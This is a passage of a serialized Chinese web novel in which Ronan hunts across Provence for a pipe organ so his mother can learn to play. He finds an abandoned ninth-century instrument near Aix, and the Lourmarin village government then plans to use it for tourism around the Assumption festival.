夏洛特弯腰拍了拍靴子,即使鞋底上连尘土都没有几粒,但这是农夫们经常下意识做的动作,常年与土地打交道的他们,鞋底总是不太干净: “观察来的呗,我偷偷观察了两天农夫们聊天,就学会了。” “两天.学到了这么多?”罗南倒吸了一口凉气,“不只是口头语,连小动作都模仿到位了。” 夏洛特抬头,露出了一抹坏笑: “两个小时也能观察到不少东西,我已经‘看透’了你。” 不等罗南反应过来,夏洛特向着去了相反方向的米莱娜大声喊了一句,提醒这个小迷糊去错了位置。 但米莱娜却向着相反的方向越走越远了。 “该死的,聋的跟土锅似的。”夏洛特说着土话,骂骂咧咧的追过去,“行了你不用送了,8月初带着佐伊在我家见吧,米莱娜,我在这里!” 罗南看着夏洛特远去的背影笑着摇了摇头。 有些期待下一次她模仿自己时的情景了。 最近佐伊工作比较忙,一天一天的待在工作室里搞创作。 罗南去陪她,会降低她的工作效率,因为两个人总是忍不住亲亲我我的。 为了让佐伊尽快忙完这轮工作,如果罗南下班的时间比较早,不会着急回家,而是先去罗天海和冯珍家待一会,陪他们聊聊天,等到吃饭的时间再去找自己的妻子,或者接她出来吃。 今天接待完夏洛特,罗南回编织大院把她新下的订单安排了下去,待了一会也帮不上什么忙,他便离开这里去父母家看看。 没成想,今天父母家居然有客人。 罗天海和冯珍在普罗旺斯有不少朋友,罗南不在的场合,他们也有丰富的社会活动。 往近了说有路易、阿兰、弗雷迪和老卡尔那一帮人。 往远了说,是餐厅的老板们,例如阿图尔等等。 这些人都有可能来到罗天海夫妇的新家里。 但奇怪的是.罗南推开父母家的门,居然不认识坐在沙发上的老妇人。 罗天海并不在家,冯珍坐在另一侧的沙发上,正和那位夫人眉飞色舞的说着什么。 “天海,这么快就回来了?”冯珍听到动静,站起来去门口迎接,看到出现的人是罗南,兴奋的拉住儿子的胳膊,“呀,罗南来了。” 罗南从未见过母亲如此‘热情’,有些忐忑的停在原地,指着里面说: “家里来客人了?那我不打扰你们了。” “不打扰,不打扰!”冯珍把罗南拉到客厅,将原先自己坐的位置让给他,自己坐到了那老妇人的身边,“我们正聊你呢。” 离近了些,罗南发现这位老妇人有些眼熟,肯定是见过,但不是特别熟悉,于是他问母亲: “这位是?” 冯珍眉飞色舞的给罗南介绍: “这位是普罗旺斯合唱团的高音声部主唱、梅纳村古典乐团的低音提琴手、艾克斯打击乐活动中心的客座教授、资深手鼓艺术家、十级钢琴大师.” 在冯珍噼里啪啦又说了许多头衔后,那位老妇人娇羞一笑: “事实上,我在吕贝隆还组建了一支乐队,我在其中担任主唱和贝斯。” 罗南像是被雷劈了一样,哆哆嗦嗦的问: “您是.西蒙太太?” 痛苦的回忆开始攻击他的大脑。 罗南记起去年春天去西蒙家买马桶,但在看到马桶之前,先看了半个小时‘音乐会’,狠狠被西蒙太太的音乐素养所支配的恐惧。 在吕贝隆,会这么多乐器的人除了她没有第二个人! 很显然,冯珍没有欣赏过西蒙太太的音乐现场,她激动的说: “西蒙太太是个多才多艺的人,而且很有自己的追求,刚刚我们聊起,她的梦想是去维也纳金色大厅开个人音乐会,给大家展示她所擅长的那二十几种乐器太让人羡慕了。” 西蒙太太看了一眼罗南,微笑着说: “罗南也是这样说的,我们第一次见面时,欣赏完我的演奏,他说如果他的母亲也能够精通音乐就好了那么他将成为这世界上最幸福的儿子。” 冯珍意外的看向儿子罗南: “罗南.说过这种话?” 罗南完全被架在了那里,说是也不对,说不是也不对。 不过他敢肯定——如果有了像西蒙太太一样的母亲,他的清净日子会彻底消失! 那不是音乐,是噪音,彻彻底底的噪音!! 他尴尬的亲吻了一下西蒙太太的手背: “那天的回忆真是记忆犹新,对了,西蒙先生呢?” 婚礼那天,西蒙先生好几次试图和罗南攀一攀关系,但罗南那天实在太忙,无法兼顾到那么多人。 所以这是转移目标,开始巴结我的父母了? 冯珍手指一个方向: “和你爸爸下楼去拿食材了,今晚西蒙先生要大展身手,给我们做他拿手的香草牛排。” 西蒙太太热情的对罗南说: “配粉红酒吃,美味无比,我猜你一定想要试试。” 罗南连连摆手: “不了不了,今晚佐伊要给我做大餐,你们知道的,我不该拒绝妻子的热情,祝你们吃得开心。” 罗南不想和西蒙先生虚情假意,‘像放屁一样’走了。 这句也是从夏洛特那里学来的土语,意思是迅速离开,像匆匆放了个屁一样快。 但担心父母被西蒙这个老骗子和那他那没有一丁点音乐天赋的妻子哄骗住,第二天一早,罗南又去了父母家,想要提醒他们注意。 但在他开口讲正事之前,冯珍兴奋的对他说: “儿子,我找到人生目标了。” “什么人生目标?”罗南紧张的问。 冯珍看了一眼丈夫罗天海,在得到丈夫的眼神肯定后,鼓起勇气说: “我从小逼着你学电子琴,是为了自私的满足我的梦想,但是西蒙太太让我认识到,我的梦想应该靠自己来完成,而不是指望下一代,当然了,主要是因为你也不是这块料。” 罗南表情复杂的问: “你的梦想是?” 冯珍坚定的说: “我的梦想是成为一名音乐家!罗南,你知道吗,西蒙太太今年已经72岁,仍在自学萨克斯,而她所掌握的那二十多种乐器都是在60岁之后才开始接触的,而我今年才47岁,比她起步早了整整13年!我一定可以获得比她更高的荣誉!” 罗南把之前想要说的话抛在脑后,激动的握住母亲的手: “我支持你!” 他一直在给父母找老年爱好,你看看,这不就有了吗? “真的吗?那太好了,我还担心你不支持呢!”冯珍也回握住罗南的手,“我已经找到了想要学习的第一件乐器。” 罗南用力抱住母亲: “支持支持,全部支持,妈妈,不管你学什么我都会无条件的支持你!” 中午吃饭的时候,罗南把这件事分享给妻子佐伊听。 “妈妈有了爱好,就不会成天胡思乱想,等她学的时候,我就拼命的夸她,给足情绪价值,她的自尊心也得到了满足,一举两得,这件事太顺利了。” 佐伊也为冯珍开心: “她要学什么乐器?” 罗南笑着说: “我妈妈对音乐一窍不通,是在杂志上看到了一种乐器想要学,那乐器叫管风琴。” 冯珍和罗南对音乐一窍不通,但佐伊‘略懂一二’,惊讶的问: “你确定是管风琴吗?那乐器有二十多米高,三四十吨重,你要给她买一个放在家里?” 罗南的笑容瞬间僵硬在脸上: “你在跟我开玩笑是不是??” 第564章 管风琴之乡 罗南和他的母亲都对音乐不是很在行,罗南不知道管风琴是个庞然大物,冯珍也不清楚只因杂志上描述的一句‘管风琴音色多变,一台可以媲美一整个管弦乐队’便产生了兴趣,全然不知这是世界上最大的乐器。 但幸运的是,普罗旺斯乃管风琴之乡。 当地有不少人会弹奏这种复杂的乐器,只是在吕贝隆山区范围内,黄页上就有不下十个职业标注为管风琴演奏师的家伙。 但遗憾的是,黄页上没有提及任何一个管风琴制造商的信息,也就是说,如果冯珍想要亲自体验一下这种乐器只能去教堂或者修道院。 罗南已放出豪言壮语,要支持母亲学习音乐,自然没有轻易放弃的道理。 再困难也得先了解一下。 中午吃完饭,佐伊继续工作,罗南则去了卢尔马兰村的教堂。 这地方他只来过两三次,没有注意过有没有管风琴的存在。 如果有的话,他想请神父帮忙,让他的母亲去体验一下。 这位神父正是主持罗南和佐伊婚礼的那位,和小夫妻的关系都还不错,罗南相信神父不会阻拦一位勇敢的妇女去追逐梦想。 卢尔马兰教堂在‘蜗牛壳’的最中心,整个村子是以教堂为中心,呈圆形散开。 它与卢尔马兰城堡一样,是村子里的两大重要历史古迹,同样修建于13世纪。 在卢尔马兰‘振兴’计划之前,这里还是游客唯二的参观景点。 只是和城堡比,教堂附近的游客少了许多,内部则更加‘冷清’,毕竟没有游客会专程来卢尔马兰做礼拜,教堂又哪里都有,最多进来看一眼就离开了。 正因如此,今年政府拿到了旅游局的资金后,并没有启动对教堂的翻修工作。 罗南进入教堂内部,没有发现管风琴的存在。 但他并没有气馁,因为卢尔马兰附近的每一个村子里都有教堂,有的村子甚至有两个,就比如博尼约。 他找到神父,询问最近的管风琴在哪里,得到的答案让人无比惊讶。 “我非常喜欢管风琴,但恐怕你在吕贝隆山区很难找到它。”神父遗憾的说。 “为什么?”罗南不解的问,“普罗旺斯不是管风琴之乡吗?” 神父手握圣经,露出慈祥的微笑: “我们总以为在普罗旺斯的教堂里看到管风琴是天经地义的事,然而事实却是,普罗旺斯宗教当局有几百年的时间容不下这种乐器,称其为魔鬼的风笛,弹奏的是通往地狱的诅咒序曲,公元4世纪,阿尔勒带头将管风琴逐出教会,这种情况一直持续到9世纪,管风琴迈出了重要的第一步,在宗教内部有了正派的名声,到了14世纪,管风琴才开始大范围的出现在教堂里。” 罗南对音乐不在行,对宗教知识更加陌生: “上帝,真没想到还有这段曲折的历史。” 神父歉意的说: “吕贝隆山区的教堂大多兴建于13世纪前后,卢尔马兰教堂也不例外,我恐怕你要离开这片区域才能在教堂里看到管风琴了。” 没有得到想要的答案,罗南遗憾的与神父告别。 临别时,神父在胸前画了一个十字: “愿上帝将祂的恩典之弦铺展于你母亲的指下,愿上帝之弦响彻普罗旺斯。” 神父只知道吕贝隆肯定没有,但说不出来哪里有。 想要找到管风琴,还得再想想办法。 罗南身边最虔诚的信徒是托马斯,他打算问问这位富二代有没有在其他教堂里看到过它。 托马斯的石器店如今‘杂乱不堪’,他父亲也看上了卢尔马兰的商业潜力,但一时间找不到合适的店铺,便把商品寄存在了儿子的商铺里一起卖。 等新的商业街开起来就好了,托马斯的富豪父亲已经预定下了新的商铺。 “你母亲居然想要学习‘上帝的乐器’?这可太酷了。”听完罗南的描述,托马斯兴奋的放下了手中的所有事情,专心的和他聊起了管风琴的话题。 “只是感兴趣,不一定能有机会学习,你知道的这种乐器对环境要求太高了,我先了解一下。”罗南笑着耸肩。 罗南家和父母家里放不下这个大家伙,如果冯珍学习管风琴,要找一个专门的地方放它,但这个途径看起来可行性不大。 罗南去哪儿找那么大的地方呢? 所以最合理的途径是‘出去’学,去有管风琴的地方。 神父称呼管风琴为‘上帝的恩典之弦’,托马斯称呼其为‘上帝的乐器’,虽然称呼不同,但很显然在教众的心目中管风琴非常受欢迎。 但为什么吕贝隆就一个都没有呢.罗南要气死了。 托马斯点着头说: “明白明白,你想要先让你母亲接触一下,看看是否合适。” 罗南猛猛点头: “没错,你知道哪里有管风琴吗?” 托马斯热心的回答: “罗屈埃韦尔大教堂里有普罗旺斯最大的管风琴,高14米多,上面有112根白镴材质的风管,每一根都重达三百公斤,每年在那里都会举行管风琴音乐节,全世界各地的音乐爱好者和天主教虔诚信徒都将会去参加。” 普罗旺斯最大的管风琴一定是当地的一大旅游特色,现在正值旅行季,罗南猜母亲可能都没有机会碰上它一下。 即使罗南本事滔天,真的找人让冯珍过去接触一下,他猜母亲也没有勇气当着全世界各地的游客的面,弹奏出‘上帝之声’。 “其他地方有吗?不用那么大的,普通的就行。”罗南对托马斯说。 托马斯想了一下,说道: “位于艾克斯和土伦之间的圣文森教堂有座八米高的管风琴,马赛主座教堂、圣雷米的圣马丁教堂、阿维尼翁的圣西姆福瑞安加尔默罗教堂和阿尔勒的圣塞西尔教堂也有大型管风琴,现在这个月份,这些地方都可热闹了。” 他继续说道: “对了,你还可以带着你妈妈循着‘管风琴之路’从欧巴涅玩到阿洛,路上可以参加有人导游的参观管风琴之旅,途中还可以小歇,享受美食,然后在阿洛享受迎宾酒,接着聆赏晚间的管风琴演奏会。” “听起来都不错,也很有意思.”罗南尴尬的问,“但有没有人少一些的地方?最好没什么人会去的那种。” 托马斯摸着下巴想了好一会,犹犹豫豫的说: “好像还真有那么个地方。” 去年罗南给托马斯提供了许多帮助,如果没有罗南的中餐厅,他的石器店可能撑不到来年春天就要倒下去。 所以在管风琴这件事情上,托马斯格外的热心。 第二天,他亲自开车带着罗南去找符合要求的管风琴。 这一趟出行只有他们二人,因为托马斯并不确定那个管风琴是否存在,只是听说,建议他们两个人先去看看,暂时不要惊动老人家。 车子离开卢尔马兰,驶入D7公路,这是吕贝隆本地人平时走的最多的公路。 过了一会,他们从D7驶入了D373,罗南第一次走这条路,但他大概能判断出,他们正向着艾克斯的方向行进。 又开了一会,托马斯将车驶离了D373,开上了一条泥泞的乡间小路,除了两侧的农田,再也看不到任何建筑。 最后的最后,前方路都没有了,托马斯把车停到路边,对罗南说: “看来最后一段我们要步行前往了。” “这地方可真是偏僻啊。”罗南走下车子,跟上了前面带路的托马斯。 昨天晚上,他找人打听了一下管风琴的价格,差点吓死。 一台全新的管风琴要50万法郎-200万法郎,而且工期要等至少2年,罗南根本买不起,所以对今天的行程无比期待。 不过虽然还没有抵达目的地,罗南确信这次肯定白跑了。 母亲的热情即使再高涨,也无法走这么远的‘求学之路’。 很显然,她和管风琴的缘分还没开始就宣告结束了。 不过来都来了,罗南还是打算过去看看。 托马斯也没想到目的地是这个样子的,不好意思的解释: “之前祷告的时候听人说起,艾克斯附近有一个座迹罕至的荒废教堂,里面有管风琴,没想到是这么‘人迹罕至’。” “这里是艾克斯附近?”罗南想到什么,起了一个话题,“艾克斯附近似乎有许多荒废的宗教场所?这是为什么?” 罗南和佐伊的婚纱照在艾克斯附近拍摄,场地是一所名叫圣维克多的修道院,听哈基米说那里已经废弃了100多年。 虽然普罗旺斯人做礼拜的频率比较低,但其他地方的教堂和修道院等保护的还不错,从没见过哪里的教堂成废墟了。 而这已经是罗南在艾克斯附近发现的第二座荒废的宗教场所。 托马斯痛心疾首的说: “法国大革命期间,各地出现过许多‘去基督教化’活动,艾克斯作为欧洲艺术之都,民众思想更加前卫大胆,损毁烧毁的宗教场所高达两位数。” 罗南心疼的跟着叹气,虽然他没有宗教信仰,但这些都是‘历史文物’啊: “之后没有翻修过吗?就全部废弃了?” 托马斯摇着脑袋说: “靠近市区的,可以被旅游业所利用起来的那些翻修重建了,边远地区的几乎全部废弃,没有部门愿意出这笔庞大的费用。” “可惜了”罗南喃喃自语。 很快,他们来到了此行的目的地,那是一处外观相对完好,但内部已破败不堪的教堂。 如果不是上面的十字架给了人一些心理安慰,真的很像是拍摄恐怖电影的场地。 而在这所废弃的教堂里,罗南终于看到了他心心念念的管风琴。 “也不知还能不能用。”罗南不懂乐理,也不会弹奏,但看外观没有太大的问题。 托马斯是富家少爷,小时候接受过一点点音乐教育,虽然不多,但足够给罗南科普: “25组音栓,两个手键盘和一个脚踏板,这应该是一款中型管风琴,虽然没有马赛、圣雷米、阿维尼翁和阿尔勒的管风琴大,但足够开一个小型音乐会,不过款式太旧了,我从来没有见过这么古老的款式。” 托马斯说这是中型管风琴,但在罗南看来它已经足够庞大。 至少有4米高、音栓像墙一样平铺开来。 “你会弹吗?”罗南问托马斯。 托马斯摇头: “不会,不过我联系上了这所废弃教堂的管辖方,也就是当地文物局,他们的人马上就到,他应该知道这台管风琴的情况。” 1905年,《政教分离法》推出,法国国家拥有了1905年之间建成的宗教场所的所有权,具体的管辖方为文化部在大区的分支机构——文物局,简称DRAC。 对于这种荒废了几百年的建筑,想要了解细节只能找他们,热情的托马斯前一天就做好了相应的准备。 教堂里实在太阴森恐怖,罗南和托马斯站在外面有阳光的地方等待DRAC的人。 罗南发誓,这座教堂废弃的时间绝对比圣维克多修道院还要长,说不定大革命后的这200多年再也没人踏足过这里。 托马斯和对方约定的见面时间是上午9点半,但DRAC的人很好的展示出了法国政府的工作效率——将近10点半,一位戴着高帽的先生才姗姗来迟。 见到罗南和托马斯,他所说的第一句话不是为了迟到而抱歉,而是抱怨——他们为什么要来这鸟不拉屎的废弃场地。 “现在的年轻人真是疯了,总是对这种连老鼠都不感兴趣的地方充满好奇,好了先生们,我不管你们是要来这里拍电影,还是举行什么宗教仪式,又或者是租下来干其他的事情,场地费每天1000法郎,你们自己负责清理场地,没有讲价的余地,而且只接受现金。”他用手帕捂嘴,像是担心这里有恐怖的霉菌。 罗南当场笑出声音。 如果真有人成功租下过这处场地,那这里就不会如此阴森了。 “我们不是来租场地的。”罗南回答。 那人表现出了一副‘见鬼’的样子: “那你们把我叫来干什么?” 罗南指着教堂的方向问: “我想知道,里面那架管风琴还可以工作吗?” 这位官员发出不耐烦的鼻音: “那谁知道呢?你可以找人来试试,不过它是9世纪的老家伙,我猜它发出的声音比金属摩擦还要难听。” “9世纪?”罗南挑了下眉毛。 卢尔马兰的教父给他科普过历史,9世纪管风琴才开始在宗教中有了些正派的名声,果然是个老东西。 这位官员的态度让托马斯非常反感,事实上他停下车子就知道今天来错了地方,只不过因为昨天约了对方,不得不留下和他见一面。 现在见了面,今天的行程可以结束了。 托马斯对罗南扬了下下巴: “好了,我们回去吧,不要耽误这位先生回去午休。” “我现在回去也赶不上吃午饭了!”那位官员不满的抱怨。 三个人分两批往来时的路走。 虽然拉开了一些距离,但罗南还是能清晰的听到DRAC官员的抱怨声,似乎他生下来就是为抱怨而活似的。 “你们居然是对那个垃圾感兴趣,我在文物局工作了二十多年,第一次有人问管风琴,我都快忘记教堂里有那个东西了。” “不过这也很正常不是吗,教堂都荒废了,谁还会在意那个管风琴啊,除了幽灵!” “这东西又旧又占地方,根本没有教堂愿意收留它,大家用的都是新款式,谁会喜欢老掉牙的旧款式呢?” 罗南突然停下来,扭头问: “管风琴可以移动?” 他一直以为这么大的东西是在建教堂时装进去的。 “当然了。”那位官员拉着裤脚,生怕弄脏了裤子,“这个管风琴就是从其他废弃教堂搬过去的,当时费了好大的劲,那些傻子以为靠它可以让这个教堂好租赁一些,没想到白费劲!” 罗南突然靠近了托马斯,压低声音问: “你每天都去卢尔马兰教堂对不对?” 托马斯左手抚胸: “是的,我每天都去。” 罗南点了点头,用更低的声音问: “那你应该对那里的环境很熟悉你觉得,那里放得下这个管风琴吗?” “啊?”托马斯意外的瞪大眼睛,“你要为你妈妈把它买下来?” 罗南高深莫测的说: “不止为了我妈妈,还有别的。” 第565章 每一个勇敢追梦的女孩都是折翼的天使 这台9世纪的中型管风琴归属于艾克斯文物局,罗南无法以个人的形式将它买下。 或许有办法可以做到,但手续和流程相当之复杂。 在见识了这位DRAC官员的工作效率和态度后,罗南放弃了这个想法——说不定走流程的时间会比制作一台新的管风琴耗时还要漫长。 乘车返回卢尔马兰,在中餐厅招待了托马斯一顿,以感谢他的帮助,下午罗南再次去往政府大楼。 抱着文件匆匆而过的康蒂娜余光见罗南又来了,停下来开玩笑的说: “你最近来政府的频率很高啊,这周都来3、4次了吧?” 罗南也用开玩笑的语气回: “每次来都能听到好消息,我不得不多来几趟啊。” 这可是他的福地! 康蒂娜笑着指了一个方向: “布兰科在楼上,希尔维在办公室里。” 罗南每次来政府,不是找村长布兰科,就是找负责卢尔马兰村镇建设的希尔维,康蒂娜先一步替他指路。 但这次情况不一样,罗南拦住了康蒂娜的去处,不好意思的问: “可以请你帮个小忙吗?” 他这次来政府不是有什么大事要聊,是来‘求助’的,不用找那么高级别的领导。 康蒂娜没有任何犹豫的停下脚步,面向罗南点了点头: “当然可以,有什么事可以帮助到你吗?” 康蒂娜是卢尔马兰最新入职的一批员工,部门里的脏活、累活、苦活、杂活儿全部是她一个人主动扛下,再加上这个小姑娘责任心极强,即使差事和本职工作没有关系,只要有时间她也会帮上一帮。 罗南把管风琴的背景,和今天在艾克斯的见闻简单概括了一下,请求道: “我想请你从卢尔马兰政府的层面,帮我问一下艾克斯文物局那架管风琴的价格,听起来他们似乎拿它当垃圾了,价格恐怕不会很昂贵如果价格在承受范围之内,且可以维修好,我想把它买下来放到卢尔马兰教堂,这样我妈妈就可以在家门口学习管风琴了。” 以个人的名义购买国家财产流程复杂,那就让政府和政府之间交流好了啊。 罗南猜,说不定卢尔马兰政府去求购那架管风琴,价格会更加便宜,因为双方可以通过这件事加强一些往来合作什么的卢尔马兰已经有这个资本了。 托马斯说,那架管风琴的尺寸可以放到卢尔马兰教堂,而且中型管风琴在设计之初就是为了方便移动,虽然它也很庞大,但和吕贝隆区域以外教堂中的那些大型管风琴相比已经算是‘小宝宝’了。 卢尔马兰有许多艺术家,其中不乏有精通音乐的人,即使本人不会也可以托关系找到相关领域的专家,如果价格合适,下一步罗南会邀请一位管风琴专家去检查一下它的情况。 一旦价格合适,状况也可以,罗南会毫不犹豫的买下它。 康蒂娜听懂了前因后果,感动于罗南对母亲的孝心的同时,提出了一个疑虑: “你无法以个人名义购买艾克斯的文物,同样也无法购买卢尔马兰的文物啊.你就没想过如何和我们结算吗?” 我当然可以帮你问,一个电话就可以得到答案。 但之后呢? 在卢尔马兰交割资产同样是很复杂的。 罗南想都没想,微笑着说: “我可以走捐赠流程,以个人名义给卢尔马兰捐赠一台9世纪的管风琴,不过前提是你们要帮我把价格谈一下。” 几个月前,在摩纳哥F1大奖赛期间,罗南听许多社会名流讲到过‘捐赠’在普罗旺斯的特殊性。 80年代后期,法国地方政府对于‘捐赠’的管理机制不够严格,也没有什么明确的法规,基本一个地方一个样,但态度却高度统一,那便是——欢迎欢迎,热烈欢迎! 无论过程有多复杂、合规有多难搞,只要想‘捐’,政府一定会把其中的麻烦事儿搞定,你只需要出钱就行了。 罗南只是想给母亲提供一个可以学习的环境,归属权在哪儿真的无所谓。 退一万步讲,归属于卢尔马兰政府的管风琴,和罗南个人的区别不太大,毕竟刚翻修好的卢尔马兰城堡,还没对外开放就给他办婚礼了。 想来想去,捐赠是最快、最好的办法。 康蒂娜一下子愣住了,一时间有些转不过来这次‘捐赠’到底是谁占了谁的便宜。 你说罗南占了便宜吧,他还要出钱,但政府可以帮助他解决管风琴的归属难题。 你说政府占便宜了吧,卢尔马兰还多了一架免费的管风琴. 但我们缺管风琴吗? 康蒂娜一时间给不出答复,需要和上级知会一下: “我可以先帮你联系艾克斯文物局问价格,但你所说的这个办法是否可以走通我需要问下希尔维的态度,如果不可以,你得另外寻找办法。” 罗南也不着急,只是淡淡的说: “没问题,不过这将会是吕贝隆第一台管风琴,而且是9世纪的文物,相信可以围绕其做一些文章,就比如开管风琴音乐节、围绕管风琴开展特色旅游项目什么的嗯,如果你们想要了解,我可以找个时间来给你们详细讲讲,普罗旺斯有很多成功的例子。” 下午3点多,康蒂娜给了罗南回信。 她说艾克斯文物局给这架管风琴的标价是5万法郎,不过对方提醒,搬运和维修的费用并不在其中,而且最好给它的新教堂做一些加固处理,所以成本还是挺高的。 这次罗南可犯了难。 如果全部费用是5万法郎,他完全可以承担下来的,毕竟母亲喜欢嘛。 他罗南最舍得给女人花钱了。 但搬运和维修管风琴的费用未知,最吓人的是还要给教堂做加固处理弄不好总花费比买管风琴贵上好几倍呢。 他打算仔细评估一下成本再做出决定,反正已经耽误了两天,那就再耽误两天吧。 告知康蒂娜自己需要考虑一下,之后罗南挂了电话,紧锣密鼓的找懂管风琴的人去艾克斯评估乐器情况,又给卡福和新认识的室内设计师索莱娜打去了电话,询问加固教堂墙壁的成本。 冯珍看在眼睛里,觉得给儿子添了麻烦。 下午,佐伊和罗南去罗天海和冯珍的新家吃饭。 刚一进门,冯珍就主动提起了这个话题: “学管风琴太麻烦了,我不学了,儿子,你不用跑了。” 她这两天详细了解了‘上帝之声’,发现自己太天真了。 入门乐器就选了个地狱级别的,还给罗南添了这么大的麻烦,这两天为这件事忙前跑后的,完全没有必要啊。 “不麻烦。”罗南悠闲的打开电视机,调出了妈妈最爱看的法国电视一频道,“就是打了几个电话,人都不用跑,要是我备战马拉松也能有这么简单和轻松就好了。” “听说那东西老贵了,有这钱干点什么不好?”冯珍摇着脑袋,语速飞快的说,“我学吉他,或者学唱歌,实在不行学电子琴,找个便宜的爱好。” 挑好电视台,罗南悠闲的坐回到沙发上: “你不是不喜欢那些‘满大街’都是的乐器吗?你说要学就学能‘唬人’的,最好亮出乐器来,别人都叫不上来名字才好。” 理想是丰满的,现实是骨感的。 冯珍摆着手说: “我先从简单入门的开始学,没必要一开始就投入那么大。” ‘大富婆’佐伊买东西从来不眨眼,尤其冯珍的梦想和艺术有关。 这世界上每一个勇敢追梦的女孩都是折翼的天使,值得在背后守护她。 “真的不贵。”佐伊碰了一下罗南的胳膊,眨着眼睛说,“我听说,还不到1万法郎是吧?” 罗南和佐伊有自己的货币单位。 2000法郎的咖啡机回家报300,1500法郎的鞋子只说50,一项是这样来的。 罗南默契的点头: “对,艾克斯文物局正愁不知道怎么处理它,太占地方了,给8000法郎就愿意卖掉它。” “8000法郎?!”罗南已经折上加折,冯珍还是发出了不满的咆哮,“我在巴黎上班时一个月都赚不了8000法郎,一个多月的工资买一个乐器?不行不行不行,可不能买啊。” 罗南的目光离开电视机,看向对面的母亲: “但你工资只有650法郎的时候,给我买了一辆600法郎的自行车,只是因为看到我追在骑车的小朋友身后,求着他让我骑一下.那之后的一周我就有自己的自行车了。” 罗南小时候家里并不富裕。 罗天海创业屡次失败,冯珍的工作也随之换来换去的,并不稳定,一度家里只靠冯珍一个人的工资度日。 但就是在那种艰难的情况下,冯珍依然不忍心看到别人有的东西儿子罗南没有。 有一天她下班回家,看到罗南苦苦跟在小朋友们身后哀求,说让他借自己骑一下,那几个孩子嘻嘻哈哈的根本不愿意停下,罗南就在后面一直跑一直跑 看到这一幕,冯珍别扭的一夜没睡觉。 那个月发了工资,她马上给罗南买了自行车,即使要花费她几乎一个月的工资眼睛也没眨一下。 “但那不一样啊,自行车600法郎,这个管风琴8000法郎,还要搬运维修.最后不知道要花多少。”冯珍情绪有些激动,她也想到这段陈年往事了。 时间过的真快啊,那个时候罗南只比自行车座子高一点点。 现在长大成人,事业有成,还结了婚,都可以给妈妈买东西了.而且还是那么贵的。 “但你为了我心甘情愿花掉全部不是吗?”罗南不想太煽情,把话题岔开,指着电视说,“一架管风琴而已,对我来说微不足道,你别管了啊,快看电视,这两人怎么要亲上了?我记得他俩是兄妹啊!” 冯珍一个月赚650法郎,舍得给罗南花600。 罗南现在一个月赚好几十万法郎.给妈妈买个大玩具怎么了?! 陪罗南和佐伊看了一会法国一台的狗血电视剧,冯珍去厨房帮助罗天海做饭。 佐伊趁机偷偷对罗南说: “如果确定了情况,确定要买,这个管风琴的钱我来出吧。” 罗南吓了一跳,惊恐的问: “为什么?这钱我出的起啊。” 佐伊动容的说: “因为你妈妈对你好,我想感谢她.而且她未来学了音乐,也属于卢尔马兰的‘艺术家’了,作为‘前辈’,这架管风琴是我送她的礼物,嗯,就这么说定了。” 罗南家的气氛和佐伊家截然不同。 虽然双方都是幸福的一家人,但罗南和父母的相处模式和她不一样。 有可能是因为佐伊家还有一个弟弟,也有可能是因为双方的家庭文化不同不管怎样,罗南生长在一个幸福的家庭里,这是毫无疑问的。 作为妻子,佐伊也想为这个家做些什么。 可以理解为感谢罗天海和冯珍两口子二十多年来对罗南无微不至的照顾和付出,也可以说是佐伊想要和丈夫一起,完成他母亲的愿望。 总之,这件事佐伊也想参与一下! 而且钱这东西,她多得很呐。 罗南被佐伊嘴里的那句‘艺术家’逗笑了,抱着她的脑袋亲了一下: “要感谢她送什么管风琴啊,你要是想送——” 他附在佐伊耳边耳语了几句,气的佐伊挥着拳头打他: “说正事呢,你又扯这些.而且这两件事也不耽误啊!” 这边,佐伊和罗南激烈又严肃的讨论着管风琴的话题。 另一边,也有一帮人在聊这个话题呢。 “你是说,罗南要捐赠一台9世纪的管风琴,并且还举出了一些可以围绕管风琴特色开展的旅游内容吗?” 布兰科有正事要忙,希尔维等到快下班的时间才找到机会给他说这件事。 罗南在村子里比较特殊,她也不敢直接把决定下了。 希尔维点着头说: “是的,而且我去教堂了解了情况,受历史影响,吕贝隆一架管风琴都没有,如果罗南捐赠成功,这确实能成为特色旅游内容,尤其对本地宗教信徒来说,是一件大事。” 布兰科一边听,一边收拾东西,表情没有什么变化: “我想想,明天再说吧。” “好的。”希尔维转身离开。 谢天谢地,今天不用加班了! 突然,已经走到办公室门口的她,听到身后响起了布兰科的声音: “等等等等,管风琴.‘圣母升天节’是哪天来着?” ‘圣母升天节’是继马拉松后,卢尔马兰策划的第二个大型活动,宗教性质的,宣传海报贴出去好几天了。 “8月中旬。”希尔维脱口而出。 布兰科表情一喜,兴奋的说: “把克劳德和艾曼喊叫来,开个临时会议,这个管风琴可以带动的不只是旅游,罗南啊罗南,你又帮了我们大忙!” 第566章 罗南,大善人! 圣母升天节是普罗旺斯当地一个非常大型的庆祝活动,在那天,许多吕贝隆的村庄都会举办盛典,并努力吸引游客前往。 之前卢尔马兰没有办活动的条件,今年情况有了巨幅扭转,他们也参与了进来,策划起了相关的活动。 但就像佐伊看到海报时所说的那样,吕贝隆围绕圣母升天节的活动实在太多了,卢尔马兰很难脱颖而出,正因如此政府才将马拉松赛的日期提到了前面,想要开个好头。 不过即便如此,布兰科等人还是在想尽办法在圣母升天节前后,让更多的游客来到卢尔马兰。 为了达到这个目的,他们在活动内容上做了许多新意,例如提供一日三餐,还别出心裁让游客自带餐具,以提升趣味性,但即便如此.海报贴出去了一周多,报名参与的人数并不乐观。 大伙儿都开始自我安慰了——将马拉松办好是最重要的,把圣母升天节定位成一个扩充活动丰富性的节日即可,不要过分执着于此。 但罗南带来的管风琴,让政府上下重新燃起了希望。 管风琴是西方宗教音乐的核心,天主教、基督教、正东教全部将其定义为核心乐器,还被誉为‘上帝之声’或‘乐器之王’。 从格里高利圣咏到巴赫的赋格曲,再到现代宗教音乐,管风琴是演奏和传承这一伟大音乐传统的最重要载体。 在宗教节日庆典中,它可以演奏前奏曲、间奏曲和后奏曲,也是赞美诗环节不可替代的核心乐器。 每当教堂中响起管风琴的声音,它那强大的声压和丰富的和声,将成千上万个音符凝聚到一起,让会众吟唱时的集体归属感和神圣感高了不知道多少个档次。 吕贝隆的教堂一架管风琴都没有,如果卢尔马兰成为唯一拥有管风琴的村子可以围绕宗教音乐做许多不一样的尝试,继而有可能成为焦点。 不止外地游客会被这一噱头吸引而来,说不定本地虔诚信徒也会特意来卢尔马兰参加圣母升天节的活动,为了获取更多的神圣感。 布兰科将他的想法告知了政府几个相关部门的负责人,得到的结论高度一致——卢尔马兰太需要这架管风琴了,恨不得现在就把它从艾克斯买下。 “既然我们这么需要这架管风琴,就别让罗南‘捐赠’了,政府牵头来运作这件事,费用可以从旅游管理中心的账目中出。”克劳德负责卢尔马兰旅游的相关工作,圣母升天节的活动策划就是由他和他的同事出的。 